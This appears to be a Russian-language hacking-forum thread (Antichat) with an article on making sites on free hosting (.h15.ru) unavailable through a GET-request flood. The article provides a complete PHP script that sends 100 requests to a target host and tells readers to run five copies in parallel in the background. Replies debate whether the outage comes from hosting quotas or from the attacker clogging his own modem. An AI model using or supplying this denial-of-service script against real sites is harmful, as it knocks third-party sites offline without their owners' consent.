Форум АНТИЧАТ - CGI execution time на бесплатных хостах .h**

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)

- - CGI execution time на бесплатных хостах .h** (https://forum.antichat.xyz/showthread.php?t=10482)

CGI execution time на бесплатных хостах .h**

Написать большую статью об этом не получится, поэтому я просто расскажу о этой штуке.
Навернякак все пользовались бесплатными хостами. Один из лучших халявных хостеров - агава. (Все сайты в зоне .H**.ru)
На ней я и испытывал элементарный дос GET запросами.
На этих хостах стоит ограничение на время исполнения CGI
Вот на этом и можно сыграть, а именно: сделать сайт нерабочим.

Сделать это до смеху просто: послать большое кол-во GET запросов. (даже дело не в колличестве, а во времени посылки)

Напишим скрипт который будет посылать запросы:

Код:

<?php

function GET($server,$url,$cookie=null)

{

       $q="GET $url HTTP/1.0\r\n";

       $q.="Host: $server\r\n";

        if ($cookie) $q.="Cookie: $cookie\r\n";

        $q.="\r\n";

        $s=fsockopen($server,80);

       fputs($s,$q);

        fclose($s);



}



$host='somehost.h15.ru';

$page='/index.php';

for ($i=0; $i<100; $i++)

{

    GET($host,$page);

}

?>

Думаю всё понятно: скрипт посылает 100 запросов хосту somehost.h15.ru на получение страници /index.php

Ещё лучше запустить этот скрипт раз 5 одновременно (чтобы работало пять процессов).
$php dos.php > /dev/null &
я делаю так раз 5.
Вот запустили вы скрипт и заходите на этот самый somehost.h15.ru/index.php
А вместо этого видите что-то вроде

Цитата:

CGI has exceeded maximum execution time (30) sec and was killed

Самое главное чтобы добится такой ошибки ненадо широкого канала, достаточно обычного модема (у меня модем)
Тестировал исключительно на халявной Агаве, возможно работать будет и на других бесплатных хостерах.

(на народе работать не будет, потому-что там нет никакого cgi :) )

хм.. а случайно ты не одном хосте расположил dos.php и index.php когда тестировал?

А с помощь. инеткряка что-нить подобное замутить можно??? )))

инет крак запросы по моему медленней посылает))))ггг

Цитата:

Это был мой первый опыт

Молодец. Терпение и труд всем надают :)

Как мне кажется, это происходит изза квот для каждого виртуального хоста, иначе один сайт подвесил бы весь хостинг, если бы жрал слишком много проц. времени.

Цитата:

Сообщение от KEZ

это происходит из -за превышения запросов с твоего ip
у p4p такаяже тулза есть ! так вот она просто грузит весь траф!
а если зайти с другого компа то все в норме и сайт работает нармально !
все что ты можешщшьто это немного нагрузить их траф!
хотя может квоты тоже играют свою роль но хм , попробуй запустить на длругом серваке этот скрипт и посмотреть на этот сайт который который ддоси

Грузит весь траф - это как понять... По конкретнее...

хм ! сорри тут подумал про квоты !!! может быть такия тяга только на холявных хостах ! да и сейчас запустил этот скрип на свой сайт но все работает как работало !

500 мб/с мой траф ! когда с него запускаю в 5 потоков то загрузка падает но только у меня !

запускал с другого хоста ! тотже эфект только теперь и у меня все нештяк работает !

Цитата:

Сообщение от KEZ

Грузит весь траф - это как понять... По конкретнее...

тоесть ! если ты сидишь на модеме. то просто забиваеться твой траф этими покетами ! комп (верней не комп а твое сетевое оборудование ! )не успевает обработать все входяшие ответы и выходящие пакеты !они становяться в очередь .вот и все ! класический способ самоддосса =)))
у тебя все твои 56 уходят на этоти запросы!

ну правельно - всё дело в квотах на бесплатных хостингах. На нормальных хостах такая тема не пройдёт, конечно, это может затормозить процессор на генирацию страниц, но думаю на нынишних серверах (аля ксеон'ы на борту) эти тормоза вывидутся в доли секунды :)
Тоесть таким делом вывести из строя нормальный хост с модемом явно не светит, ну а бесплатный хост можно. Другое дело: бесплатные хосты почти никому досить в голову не прийдёт (просто мало кому это нужно), но бывают случаи... :p